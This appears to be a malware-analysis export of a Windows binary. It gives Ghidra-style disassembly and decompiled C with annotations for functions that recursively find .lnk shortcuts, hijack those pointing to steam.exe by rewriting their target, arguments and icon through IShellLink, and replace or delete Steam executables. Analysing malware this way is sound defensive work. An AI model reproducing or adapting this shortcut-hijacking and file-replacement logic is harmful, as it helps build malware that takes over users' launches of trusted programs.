140007165	48 89 84 24 30 02 00 00	MOV qword ptr [RSP + local_18],RAX
14000716d	48 8b d9	MOV RBX,RCX
140007170	48 85 c9	TEST RCX,RCX
140007173	0f 84 e5 00 00 00	JZ LAB_14000725e
140007179	66 83 39 00	CMP word ptr [RCX],0x0
14000717d	0f 84 db 00 00 00	JZ LAB_14000725e
LAB_140007183:
140007183	49 89 6b 10	MOV qword ptr [R11 + local_res10],RBP
140007187	33 ed	XOR EBP,EBP
LAB_140007189:
140007189	49 89 73 18	MOV qword ptr [R11 + local_res18],RSI
14000718d	48 8d 74 24 20	LEA RSI,[RSP + 0x20]
140007192	49 89 7b 20	MOV qword ptr [R11 + local_res20],RDI
140007196	48 2b f1	SUB RSI,RCX
140007199	8b fd	MOV EDI,EBP
14000719b	0f 1f 44 00 00	NOP dword ptr [RAX + RAX*0x1]
LAB_1400071a0:
1400071a0	48 81 ff 03 01 00 00	CMP RDI,0x103
1400071a7	73 18	JNC LAB_1400071c1
1400071a9	0f b7 0b	MOVZX ECX,word ptr [RBX]
1400071ac	e8 53 9e 00 00	CALL FUN_140011004
1400071b1	66 89 04 1e	MOV word ptr [RSI + RBX*0x1],AX
1400071b5	48 ff c7	INC RDI
1400071b8	48 83 c3 02	ADD RBX,0x2
1400071bc	66 39 2b	CMP word ptr [RBX],BP
1400071bf	75 df	JNZ LAB_1400071a0
LAB_1400071c1:
1400071c1	48 8b b4 24 60 02 00 00	MOV RSI,qword ptr [RSP + local_res18]
1400071c9	48 03 ff	ADD RDI,RDI
1400071cc	48 81 ff 08 02 00 00	CMP RDI,0x208
1400071d3	0f 83 89 00 00 00	JNC LAB_140007262
LAB_1400071d9:
1400071d9	66 89 6c 3c 20	MOV word ptr [RSP + RDI*0x1 + 0x20],BP
1400071de	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
1400071e3	48 c7 c0 ff ff ff ff	MOV RAX,-0x1
1400071ea	66 0f 1f 44 00 00	NOP word ptr [RAX + RAX*0x1]
LAB_1400071f0:
1400071f0	48 ff c0	INC RAX
1400071f3	66 39 2c 41	CMP word ptr [RCX + RAX*0x2],BP
1400071f7	75 f7	JNZ LAB_1400071f0
1400071f9	48 83 f8 06	CMP RAX,0x6
1400071fd	72 43	JC LAB_140007242
1400071ff	48 8d 4c 44 14	LEA RCX,[RSP + RAX*0x2 + 0x14]
140007204	48 8d 15 6d 2d 02 00	LEA RDX,[u_steam\_140029f78]	; "steam\\"
14000720b	e8 3c 9e 00 00	CALL FID_conflict:_wcsicoll
140007210	85 c0	TEST EAX,EAX
140007212	75 2e	JNZ LAB_140007242
140007214	b8 01 00 00 00	MOV EAX,0x1
LAB_140007219:
140007219	48 8b ac 24 58 02 00 00	MOV RBP,qword ptr [RSP + local_res10]
140007221	48 8b bc 24 68 02 00 00	MOV RDI,qword ptr [RSP + local_res20]
LAB_140007229:
140007229	48 8b 8c 24 30 02 00 00	MOV RCX,qword ptr [RSP + local_18]
140007231	48 33 cc	XOR RCX,RSP
140007234	e8 f7 16 00 00	CALL __security_check_cookie
LAB_140007242:
140007242	48 8d 15 3f 2d 02 00	LEA RDX,[u_\steam\_140029f88]	; "\\steam\\"
140007249	48 8d 4c 24 20	LEA RCX,[RSP + 0x20]
14000724e	e8 8d 28 00 00	CALL FUN_140009ae0
140007253	48 85 c0	TEST RAX,RAX
140007256	40 0f 95 c5	SETNZ BPL
14000725a	8b c5	MOV EAX,EBP
14000725c	eb bb	JMP LAB_140007219
LAB_14000725e:
14000725e	33 c0	XOR EAX,EAX
140007260	eb c7	JMP LAB_140007229
LAB_140007262:
140007262	e8 f1 17 00 00	CALL FUN_140008a58	; FUN_140008a58: IsProcessorFeaturePresent
140007267	cc	INT3

hijacks shortcut files via IShellLink…

0x140007270665 bytes

undefined FUN_140007270(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

hijacks shortcut files via IShellLink COM: loads .lnk, compares target filename, replaces target path, arguments and icon

Cited as: E18
Behaviours: B12
Called from: FUN_140007520, FUN_140007950
Calls: CoCreateInstance PathFindFileNameW FUN_140007150, __security_check_cookie, FID_conflict:_wcsicoll, FUN_14001db40

Decompiled C · 86 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007270(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  bool bVar1;
  bool bVar2;
  HRESULT HVar3;
  int iVar4;
  LPWSTR _Str1;
  LPWSTR pWVar5;
  undefined1 auStackY_708 [32];
  longlong *local_6d8;
  longlong *local_6d0;
  undefined4 local_6c8 [4];
  undefined1 local_6b8 [592];
  WCHAR local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_708;
  _Str1 = (wchar_t *)0x0;
  bVar2 = false;
  local_6d8 = (longlong *)0x0;
  local_6d0 = (longlong *)0x0;
  local_6c8[0] = 0;
  HVar3 = CoCreateInstance((IID *)&DAT_140020348,(LPUNKNOWN)0x0,1,(IID *)&DAT_14002a4e0,&local_6d8);
  if (HVar3 < 0) {
  }
  iVar4 = (**(code **)*local_6d8)(local_6d8,&DAT_140020328,&local_6d0);
  if (iVar4 < 0) goto LAB_1400074ef;
  iVar4 = (**(code **)(*local_6d0 + 0x28))(local_6d0,param_1,0);
  if (-1 < iVar4) {
    FUN_14001db40((undefined1 (*) [32])local_6b8,0,0x250);
    local_468[0] = L'\0';
    local_258[0] = L'\0';
    (**(code **)(*local_6d8 + 0x18))(local_6d8,local_468,0x104,local_6b8);
    if (local_468[0] == L'\0') {
      (**(code **)(*local_6d8 + 0x18))(local_6d8,local_468,0x104,local_6b8);
    }
    (**(code **)(*local_6d8 + 0x80))(local_6d8,local_258,0x104,local_6c8);
    if (local_468[0] != L'\0') {
      _Str1 = PathFindFileNameW(local_468);
    }
    if (local_468[0] == L'\0') {
LAB_140007413:
      if (local_258[0] != L'\0') {
        pWVar5 = PathFindFileNameW(local_258);
        if ((pWVar5 != (LPWSTR)0x0) &&
           (iVar4 = FID_conflict__wcsicoll(pWVar5,L"steam.exe"), iVar4 == 0)) {
          bVar2 = true;
        }
        if (bVar2) goto LAB_140007495;
      }
      if ((((_Str1 == (wchar_t *)0x0) ||
           ((iVar4 = FID_conflict__wcsicoll(_Str1,L"steam.exe.old"), iVar4 != 0 &&
            (iVar4 = FID_conflict__wcsicoll(_Str1,L"steam.exe.new"), iVar4 != 0)))) &&
          (iVar4 = FUN_140007150(local_468), iVar4 == 0)) &&
         (iVar4 = FUN_140007150(local_258), iVar4 == 0)) goto LAB_1400074e4;
    }
    else {
      pWVar5 = PathFindFileNameW(local_468);
      if (pWVar5 == (LPWSTR)0x0) {
LAB_140007409:
        bVar1 = false;
      }
      else {
        iVar4 = FID_conflict__wcsicoll(pWVar5,L"steam.exe");
        bVar1 = true;
        if (iVar4 != 0) goto LAB_140007409;
      }
      if (!bVar1) goto LAB_140007413;
    }
LAB_140007495:
    (**(code **)(*local_6d8 + 0xa0))(local_6d8,param_2);
    (**(code **)(*local_6d8 + 0x48))(local_6d8,param_3);
    (**(code **)(*local_6d8 + 0x88))(local_6d8,param_4,0);
    (**(code **)(*local_6d0 + 0x30))(local_6d0,param_1,1);
  }
LAB_1400074e4:
  (**(code **)(*local_6d0 + 0x10))();
LAB_1400074ef:
  (**(code **)(*local_6d8 + 0x10))();
}

Assembly · 157 instructions, 6 annotated

Address	Bytes	Instruction	Comment
140007270	40 55	PUSH RBP
140007272	53	PUSH RBX
140007273	56	PUSH RSI
140007274	41 54	PUSH R12
140007276	41 56	PUSH R14
140007278	41 57	PUSH R15
14000727a	48 8d ac 24 28 fa ff ff	LEA RBP,[RSP + -0x5d8]
140007282	48 81 ec d8 06 00 00	SUB RSP,0x6d8
140007289	48 8b 05 b0 6d 02 00	MOV RAX,qword ptr [DAT_14002e040]
140007290	48 33 c4	XOR RAX,RSP
140007293	48 89 85 c0 05 00 00	MOV qword ptr [RBP + local_48],RAX
14000729a	33 db	XOR EBX,EBX
14000729c	48 8d 44 24 30	LEA RAX,[RSP + 0x30]
1400072a1	4d 8b e1	MOV R12,R9
1400072a4	48 89 5c 24 30	MOV qword ptr [RSP + local_6d8],RBX
1400072a9	4d 8b f8	MOV R15,R8
1400072ac	48 89 5c 24 38	MOV qword ptr [RSP + local_6d0],RBX
1400072b1	4c 8b f2	MOV R14,RDX
1400072b4	89 5c 24 40	MOV dword ptr [RSP + local_6c8],EBX
1400072b8	48 8b f1	MOV RSI,RCX
1400072bb	48 89 44 24 20	MOV qword ptr [RSP + local_6e8],RAX
1400072c0	4c 8d 0d 19 32 02 00	LEA R9,[DAT_14002a4e0]
1400072c7	33 d2	XOR EDX,EDX
1400072c9	41 b8 01 00 00 00	MOV R8D,0x1
1400072cf	48 8d 0d 72 90 01 00	LEA RCX,[DAT_140020348]
1400072d6	ff 15 1c 82 01 00	CALL qword ptr [PTR_CoCreateInstance_14001f4f8]
1400072dc	85 c0	TEST EAX,EAX
1400072de	0f 88 16 02 00 00	JS LAB_1400074fa
1400072e4	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
1400072e9	4c 8d 44 24 38	LEA R8,[RSP + 0x38]
1400072ee	48 8d 15 33 90 01 00	LEA RDX,[DAT_140020328]
1400072f5	48 8b 01	MOV RAX,qword ptr [RCX]
1400072f8	ff 10	CALL qword ptr [RAX]
1400072fa	85 c0	TEST EAX,EAX
1400072fc	0f 88 ed 01 00 00	JS LAB_1400074ef
140007302	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_6d0]
140007307	45 33 c0	XOR R8D,R8D
14000730a	48 8b d6	MOV RDX,RSI
14000730d	48 8b 01	MOV RAX,qword ptr [RCX]
140007310	ff 50 28	CALL qword ptr [RAX + 0x28]
140007313	85 c0	TEST EAX,EAX
140007315	0f 88 c9 01 00 00	JS LAB_1400074e4
14000731b	33 d2	XOR EDX,EDX
14000731d	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
140007322	41 b8 50 02 00 00	MOV R8D,0x250
140007328	e8 13 68 01 00	CALL FUN_14001db40
14000732d	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
140007332	4c 8d 4c 24 50	LEA R9,[RSP + 0x50]
140007337	66 89 9d a0 01 00 00	MOV word ptr [RBP + local_468],BX
14000733e	48 8d 95 a0 01 00 00	LEA RDX,[RBP + 0x1a0]
140007345	66 89 9d b0 03 00 00	MOV word ptr [RBP + local_258],BX
14000734c	41 b8 04 01 00 00	MOV R8D,0x104
140007352	c7 44 24 20 04 00 00 00	MOV dword ptr [RSP + local_6e8],0x4
14000735a	48 8b 01	MOV RAX,qword ptr [RCX]
14000735d	ff 50 18	CALL qword ptr [RAX + 0x18]
140007360	66 39 9d a0 01 00 00	CMP word ptr [RBP + local_468],BX
140007367	75 21	JNZ LAB_14000738a
140007369	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
14000736e	4c 8d 4c 24 50	LEA R9,[RSP + 0x50]
140007373	41 b8 04 01 00 00	MOV R8D,0x104
140007379	89 5c 24 20	MOV dword ptr [RSP + local_6e8],EBX
14000737d	48 8d 95 a0 01 00 00	LEA RDX,[RBP + 0x1a0]
140007384	48 8b 01	MOV RAX,qword ptr [RCX]
140007387	ff 50 18	CALL qword ptr [RAX + 0x18]
LAB_14000738a:
14000738a	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
14000738f	4c 8d 4c 24 40	LEA R9,[RSP + 0x40]
140007394	41 b8 04 01 00 00	MOV R8D,0x104
LAB_14000739a:
14000739a	48 89 bc 24 d0 06 00 00	MOV qword ptr [RSP + local_38],RDI
1400073a2	48 8d 95 b0 03 00 00	LEA RDX,[RBP + 0x3b0]
1400073a9	48 8b 01	MOV RAX,qword ptr [RCX]
1400073ac	ff 90 80 00 00 00	CALL qword ptr [RAX + 0x80]
1400073b2	0f b7 85 a0 01 00 00	MOVZX EAX,word ptr [RBP + local_468]
1400073b9	66 85 c0	TEST AX,AX
1400073bc	74 19	JZ LAB_1400073d7
1400073be	48 8d 8d a0 01 00 00	LEA RCX,[RBP + 0x1a0]
1400073c5	ff 15 45 80 01 00	CALL qword ptr [PTR_PathFindFileNameW_14001f410]
1400073cb	48 8b f8	MOV RDI,RAX
1400073ce	0f b7 85 a0 01 00 00	MOVZX EAX,word ptr [RBP + local_468]
1400073d5	eb 03	JMP LAB_1400073da
LAB_1400073d7:
1400073d7	48 8b fb	MOV RDI,RBX
LAB_1400073da:
1400073da	66 85 c0	TEST AX,AX
1400073dd	74 34	JZ LAB_140007413
1400073df	48 8d 8d a0 01 00 00	LEA RCX,[RBP + 0x1a0]
1400073e6	ff 15 24 80 01 00	CALL qword ptr [PTR_PathFindFileNameW_14001f410]
1400073ec	48 85 c0	TEST RAX,RAX
1400073ef	74 18	JZ LAB_140007409
1400073f1	48 8d 15 20 26 02 00	LEA RDX,[u_steam.exe_140029a18]	; "steam.exe"
1400073f8	48 8b c8	MOV RCX,RAX
1400073fb	e8 4c 9c 00 00	CALL FID_conflict:_wcsicoll
140007400	85 c0	TEST EAX,EAX
140007402	b8 01 00 00 00	MOV EAX,0x1
140007407	74 02	JZ LAB_14000740b
LAB_140007409:
140007409	8b c3	MOV EAX,EBX
LAB_14000740b:
14000740b	85 c0	TEST EAX,EAX
14000740d	0f 85 82 00 00 00	JNZ LAB_140007495
LAB_140007413:
140007413	66 39 9d b0 03 00 00	CMP word ptr [RBP + local_258],BX
14000741a	74 2e	JZ LAB_14000744a
14000741c	48 8d 8d b0 03 00 00	LEA RCX,[RBP + 0x3b0]
140007423	ff 15 e7 7f 01 00	CALL qword ptr [PTR_PathFindFileNameW_14001f410]
140007429	48 85 c0	TEST RAX,RAX
14000742c	74 18	JZ LAB_140007446
14000742e	48 8d 15 e3 25 02 00	LEA RDX,[u_steam.exe_140029a18]	; "steam.exe"
140007435	48 8b c8	MOV RCX,RAX
140007438	e8 0f 9c 00 00	CALL FID_conflict:_wcsicoll
14000743d	85 c0	TEST EAX,EAX
14000743f	75 05	JNZ LAB_140007446
140007441	bb 01 00 00 00	MOV EBX,0x1
LAB_140007446:
140007446	85 db	TEST EBX,EBX
140007448	75 4b	JNZ LAB_140007495
LAB_14000744a:
14000744a	48 85 ff	TEST RDI,RDI
14000744d	74 26	JZ LAB_140007475
14000744f	48 8d 15 42 2b 02 00	LEA RDX,[u_steam.exe.old_140029f98]	; "steam.exe.old"
140007456	48 8b cf	MOV RCX,RDI
140007459	e8 ee 9b 00 00	CALL FID_conflict:_wcsicoll
14000745e	85 c0	TEST EAX,EAX
140007460	74 33	JZ LAB_140007495
140007462	48 8d 15 4f 2b 02 00	LEA RDX,[u_steam.exe.new_140029fb8]	; "steam.exe.new"
140007469	48 8b cf	MOV RCX,RDI
14000746c	e8 db 9b 00 00	CALL FID_conflict:_wcsicoll
140007471	85 c0	TEST EAX,EAX
140007473	74 20	JZ LAB_140007495
LAB_140007475:
140007475	48 8d 8d a0 01 00 00	LEA RCX,[RBP + 0x1a0]
14000747c	e8 cf fc ff ff	CALL FUN_140007150	; FUN_140007150: IsProcessorFeaturePresent
140007481	85 c0	TEST EAX,EAX
140007483	75 10	JNZ LAB_140007495
140007485	48 8d 8d b0 03 00 00	LEA RCX,[RBP + 0x3b0]
14000748c	e8 bf fc ff ff	CALL FUN_140007150	; FUN_140007150: IsProcessorFeaturePresent
140007491	85 c0	TEST EAX,EAX
140007493	74 47	JZ LAB_1400074dc
LAB_140007495:
140007495	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
14000749a	49 8b d6	MOV RDX,R14
14000749d	48 8b 01	MOV RAX,qword ptr [RCX]
1400074a0	ff 90 a0 00 00 00	CALL qword ptr [RAX + 0xa0]
1400074a6	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
1400074ab	49 8b d7	MOV RDX,R15
1400074ae	48 8b 01	MOV RAX,qword ptr [RCX]
1400074b1	ff 50 48	CALL qword ptr [RAX + 0x48]
1400074b4	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
1400074b9	45 33 c0	XOR R8D,R8D
1400074bc	49 8b d4	MOV RDX,R12
1400074bf	48 8b 01	MOV RAX,qword ptr [RCX]
1400074c2	ff 90 88 00 00 00	CALL qword ptr [RAX + 0x88]
1400074c8	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_6d0]
1400074cd	41 b8 01 00 00 00	MOV R8D,0x1
1400074d3	48 8b d6	MOV RDX,RSI
1400074d6	48 8b 01	MOV RAX,qword ptr [RCX]
1400074d9	ff 50 30	CALL qword ptr [RAX + 0x30]
LAB_1400074dc:
1400074dc	48 8b bc 24 d0 06 00 00	MOV RDI,qword ptr [RSP + local_38]
LAB_1400074e4:
1400074e4	48 8b 4c 24 38	MOV RCX,qword ptr [RSP + local_6d0]
1400074e9	48 8b 01	MOV RAX,qword ptr [RCX]
1400074ec	ff 50 10	CALL qword ptr [RAX + 0x10]
LAB_1400074ef:
1400074ef	48 8b 4c 24 30	MOV RCX,qword ptr [RSP + local_6d8]
1400074f4	48 8b 01	MOV RAX,qword ptr [RCX]
1400074f7	ff 50 10	CALL qword ptr [RAX + 0x10]
LAB_1400074fa:
1400074fa	48 8b 8d c0 05 00 00	MOV RCX,qword ptr [RBP + local_48]
140007501	48 33 cc	XOR RCX,RSP
140007504	e8 27 14 00 00	CALL __security_check_cookie

recursively searches directories to…

0x140007520333 bytes

undefined FUN_140007520(short * param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4, int param_5)

recursively searches directories to depth 9 for files matching a wildcard

Cited as: E7
Behaviours: B6
Called from: FUN_140007520, FUN_140007950
Calls: PathMatchSpecW FindFirstFileW FindNextFileW FindClose FUN_140003f60, FUN_140007270, FUN_140007520, __security_check_cookie

Decompiled C · 40 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007520(short *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
                  int param_5)

{
  BOOL BVar1;
  HANDLE hFindFile;
  undefined1 auStackY_6e8 [32];
  _WIN32_FIND_DATAW local_6b8;
  short local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_6e8;
  if (((param_5 < 9) && (param_1 != (short *)0x0)) && (*param_1 != 0)) {
    FUN_140003f60(local_258,0x104,0x140029fd8,param_1);
    hFindFile = FindFirstFileW(local_258,&local_6b8);
    if (hFindFile != (HANDLE)0xffffffffffffffff) {
      do {
        if (local_6b8.cFileName[0] != L'.') {
          FUN_140003f60(local_468,0x104,0x140029fe8,param_1);
          if (((byte)local_6b8.dwFileAttributes & 0x10) == 0) {
            BVar1 = PathMatchSpecW(local_6b8.cFileName,L"*.lnk");
            if (BVar1 != 0) {
              FUN_140007270(local_468,param_2,param_3,param_4);
            }
          }
          else {
            FUN_140007520(local_468,param_2,param_3,param_4,param_5 + 1);
          }
        }
        BVar1 = FindNextFileW(hFindFile,&local_6b8);
      } while (BVar1 != 0);
      FindClose(hFindFile);
    }
  }
}

Assembly · 72 instructions, 6 annotated

Address	Bytes	Instruction	Comment
140007520	40 53	PUSH RBX
140007522	55	PUSH RBP
140007523	56	PUSH RSI
140007524	57	PUSH RDI
140007525	41 57	PUSH R15
140007527	48 81 ec c0 06 00 00	SUB RSP,0x6c0
14000752e	48 8b 05 0b 6b 02 00	MOV RAX,qword ptr [DAT_14002e040]
140007535	48 33 c4	XOR RAX,RSP
140007538	48 89 84 24 a0 06 00 00	MOV qword ptr [RSP + local_48],RAX
140007540	44 8b bc 24 10 07 00 00	MOV R15D,dword ptr [RSP + param_5]
140007548	49 8b e9	MOV RBP,R9
14000754b	49 8b f0	MOV RSI,R8
14000754e	48 8b fa	MOV RDI,RDX
140007551	48 8b d9	MOV RBX,RCX
140007554	41 83 ff 08	CMP R15D,0x8
140007558	0f 8f ff 00 00 00	JG LAB_14000765d
14000755e	48 85 c9	TEST RCX,RCX
140007561	0f 84 f6 00 00 00	JZ LAB_14000765d
140007567	66 83 39 00	CMP word ptr [RCX],0x0
14000756b	0f 84 ec 00 00 00	JZ LAB_14000765d
140007571	4c 8b c9	MOV R9,RCX
LAB_140007574:
140007574	4c 89 b4 24 b8 06 00 00	MOV qword ptr [RSP + local_30],R14
14000757c	48 8d 8c 24 90 04 00 00	LEA RCX,[RSP + 0x490]
140007584	ba 04 01 00 00	MOV EDX,0x104
140007589	4c 8d 05 48 2a 02 00	LEA R8,[u_%s\*_140029fd8]	; "%s\\*"
140007590	e8 cb c9 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140007595	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
14000759a	48 8d 8c 24 90 04 00 00	LEA RCX,[RSP + 0x490]
1400075a2	ff 15 18 7c 01 00	CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
1400075a8	4c 8b f0	MOV R14,RAX
1400075ab	48 83 f8 ff	CMP RAX,-0x1
1400075af	0f 84 a0 00 00 00	JZ LAB_140007655
LAB_1400075b5:
1400075b5	66 83 7c 24 5c 2e	CMP word ptr [RSP + local_68c],0x2e
1400075bb	74 79	JZ LAB_140007636
1400075bd	48 8d 44 24 5c	LEA RAX,[RSP + 0x5c]
1400075c2	4c 8b cb	MOV R9,RBX
1400075c5	4c 8d 05 1c 2a 02 00	LEA R8,[u_%s\%s_140029fe8]	; "%s\\%s"
1400075cc	48 89 44 24 20	MOV qword ptr [RSP + local_6c8],RAX
1400075d1	ba 04 01 00 00	MOV EDX,0x104
1400075d6	48 8d 8c 24 80 02 00 00	LEA RCX,[RSP + 0x280]
1400075de	e8 7d c9 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
1400075e3	f6 44 24 30 10	TEST byte ptr [RSP + local_6b8],0x10
1400075e8	74 20	JZ LAB_14000760a
1400075ea	41 8d 47 01	LEA EAX,[R15 + 0x1]
1400075ee	4c 8b cd	MOV R9,RBP
1400075f1	4c 8b c6	MOV R8,RSI
1400075f4	89 44 24 20	MOV dword ptr [RSP + local_6c8],EAX
1400075f8	48 8b d7	MOV RDX,RDI
1400075fb	48 8d 8c 24 80 02 00 00	LEA RCX,[RSP + 0x280]
140007603	e8 18 ff ff ff	CALL FUN_140007520
140007608	eb 2c	JMP LAB_140007636
LAB_14000760a:
14000760a	48 8d 15 e7 29 02 00	LEA RDX,[u_*.lnk_140029ff8]	; "*.lnk"
140007611	48 8d 4c 24 5c	LEA RCX,[RSP + 0x5c]
140007616	ff 15 d4 7d 01 00	CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
14000761c	85 c0	TEST EAX,EAX
14000761e	74 16	JZ LAB_140007636
140007620	4c 8b cd	MOV R9,RBP
140007623	48 8d 8c 24 80 02 00 00	LEA RCX,[RSP + 0x280]
14000762b	4c 8b c6	MOV R8,RSI
14000762e	48 8b d7	MOV RDX,RDI
140007631	e8 3a fc ff ff	CALL FUN_140007270	; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_140007636:
140007636	48 8d 54 24 30	LEA RDX,[RSP + 0x30]
14000763b	49 8b ce	MOV RCX,R14
14000763e	ff 15 8c 7b 01 00	CALL qword ptr [PTR_FindNextFileW_14001f1d0]
140007644	85 c0	TEST EAX,EAX
140007646	0f 85 69 ff ff ff	JNZ LAB_1400075b5
14000764c	49 8b ce	MOV RCX,R14
14000764f	ff 15 ab 7b 01 00	CALL qword ptr [PTR_FindClose_14001f200]
LAB_140007655:
140007655	4c 8b b4 24 b8 06 00 00	MOV R14,qword ptr [RSP + local_30]
LAB_14000765d:
14000765d	48 8b 8c 24 a0 06 00 00	MOV RCX,qword ptr [RSP + local_48]
140007665	48 33 cc	XOR RCX,RSP
140007668	e8 c3 12 00 00	CALL __security_check_cookie

replaces files using dynamically…

0x140007680702 bytes

undefined FUN_140007680(LPCWSTR param_1, LPCWSTR param_2, undefined8 param_3)

replaces files using dynamically resolved CopyFileW and MoveFileW with cleanup

Cited as: E10
Behaviours: B8
Called from: FUN_140007950
Calls: GetFileAttributesW SetFileAttributesW DeleteFileW FUN_140003f60, FUN_140005d10, FUN_140005df0, FUN_1400068c0, __security_check_cookie

Decompiled C · 79 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007680(LPCWSTR param_1,LPCWSTR param_2,undefined8 param_3)

{
  DWORD DVar1;
  int iVar2;
  DWORD DVar3;
  BOOL BVar4;
  undefined8 uVar5;
  longlong lVar6;
  undefined1 auStack_6b8 [32];
  wchar_t *local_698;
  wchar_t *local_688 [4];
  WCHAR local_668 [264];
  WCHAR local_458 [264];
  WCHAR local_248 [264];
  ulonglong local_38;
  
  local_38 = DAT_14002e040 ^ (ulonglong)auStack_6b8;
  if ((((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
      (uVar5 = param_3, DVar1 = GetFileAttributesW(param_2), DVar1 != 0xffffffff)) &&
     (iVar2 = FUN_140005d10(param_1,param_2,(DWORD)uVar5), iVar2 != 0)) {
  }
  if (DAT_14002ffb8 == 0) {
  }
  if (DAT_14002ffc0 != (code *)0x0) {
    local_688[0] = L"steam.orig.exe";
    lVar6 = 0;
    local_688[1] = L"steam.live.exe";
    local_688[2] = L"steam.exe.new";
    do {
      local_698 = local_688[lVar6];
      FUN_140003f60(local_458,0x104,0x140029fe8,param_3);
      if ((local_458[0] != L'\0') && (DVar1 = GetFileAttributesW(local_458), DVar1 != 0xffffffff)) {
        SetFileAttributesW(local_458,0x80);
        DeleteFileW(local_458);
      }
      lVar6 = lVar6 + 1;
    } while (lVar6 < 3);
    DVar1 = 0x4002a210;
    FUN_140003f60(local_248,0x104,0x14002a210,param_3);
    SetFileAttributesW(local_248,0x80);
    DeleteFileW(local_248);
    if (((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
       ((DVar3 = GetFileAttributesW(param_2), DVar3 != 0xffffffff &&
        (iVar2 = FUN_140005d10(param_1,param_2,DVar1), iVar2 == 0)))) {
      SetFileAttributesW(param_2,0x80);
      BVar4 = DeleteFileW(param_2);
      if (BVar4 == 0) {
        (*DAT_14002ffc0)(param_2,local_248);
        DeleteFileW(local_248);
      }
    }
    iVar2 = FUN_140005df0(param_1,param_2);
    if ((iVar2 == 0) && (uVar5 = FUN_1400068c0(param_1,param_2), (int)uVar5 == 0)) {
      DVar1 = 0x4002a238;
      FUN_140003f60(local_668,0x104,0x14002a238,param_3);
      SetFileAttributesW(local_668,0x80);
      DeleteFileW(local_668);
      uVar5 = FUN_1400068c0(param_1,local_668);
      if ((int)uVar5 == 0) {
      }
      SetFileAttributesW(param_2,0x80);
      DeleteFileW(param_2);
      iVar2 = (*DAT_14002ffc0)(local_668,param_2);
      if ((iVar2 == 0) && (uVar5 = FUN_1400068c0(param_1,param_2), (int)uVar5 == 0)) {
        DeleteFileW(local_668);
      }
      DeleteFileW(local_668);
    }
    if (((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
       (DVar3 = GetFileAttributesW(param_2), DVar3 != 0xffffffff)) {
      FUN_140005d10(param_1,param_2,DVar1);
    }
  }
}

Assembly · 161 instructions, 20 annotated

Address	Bytes	Instruction	Comment
140007680	40 53	PUSH RBX
140007682	55	PUSH RBP
140007683	56	PUSH RSI
140007684	41 56	PUSH R14
140007686	48 81 ec 98 06 00 00	SUB RSP,0x698
14000768d	48 8b 05 ac 69 02 00	MOV RAX,qword ptr [DAT_14002e040]
140007694	48 33 c4	XOR RAX,RSP
140007697	48 89 84 24 80 06 00 00	MOV qword ptr [RSP + local_38],RAX
14000769f	4d 8b f0	MOV R14,R8
1400076a2	48 8b da	MOV RBX,RDX
1400076a5	48 8b e9	MOV RBP,RCX
1400076a8	48 85 d2	TEST RDX,RDX
1400076ab	74 2d	JZ LAB_1400076da
1400076ad	66 83 3a 00	CMP word ptr [RDX],0x0
1400076b1	74 27	JZ LAB_1400076da
1400076b3	48 8b ca	MOV RCX,RDX
1400076b6	ff 15 5c 7b 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
1400076bc	83 f8 ff	CMP EAX,-0x1
1400076bf	74 19	JZ LAB_1400076da
1400076c1	48 8b d3	MOV RDX,RBX
1400076c4	48 8b cd	MOV RCX,RBP
1400076c7	e8 44 e6 ff ff	CALL FUN_140005d10	; FUN_140005d10: GetFileAttributesExW, CreateFileW, ReadFile, CloseHandle
1400076cc	85 c0	TEST EAX,EAX
1400076ce	74 0a	JZ LAB_1400076da
1400076d0	b8 01 00 00 00	MOV EAX,0x1
1400076d5	e9 19 02 00 00	JMP LAB_1400078f3
LAB_1400076da:
1400076da	48 83 3d d6 88 02 00 00	CMP qword ptr [DAT_14002ffb8],0x0
1400076e2	0f 84 09 02 00 00	JZ LAB_1400078f1
1400076e8	48 83 3d d0 88 02 00 00	CMP qword ptr [DAT_14002ffc0],0x0
1400076f0	0f 84 fb 01 00 00	JZ LAB_1400078f1
1400076f6	48 8d 05 fb 24 02 00	LEA RAX,[u_steam.orig.exe_140029bf8]	; "steam.orig.exe"
LAB_1400076fd:
1400076fd	48 89 bc 24 90 06 00 00	MOV qword ptr [RSP + local_28],RDI
140007705	48 89 44 24 30	MOV qword ptr [RSP + local_688],RAX	; "steam.orig.exe"
14000770a	33 f6	XOR ESI,ESI
14000770c	48 8d 05 05 25 02 00	LEA RAX,[u_steam.live.exe_140029c18]	; "steam.live.exe"
140007713	8b fe	MOV EDI,ESI
140007715	48 89 44 24 38	MOV qword ptr [RSP + local_680],RAX	; "steam.live.exe"
14000771a	48 8d 05 97 28 02 00	LEA RAX,[u_steam.exe.new_140029fb8]	; "steam.exe.new"
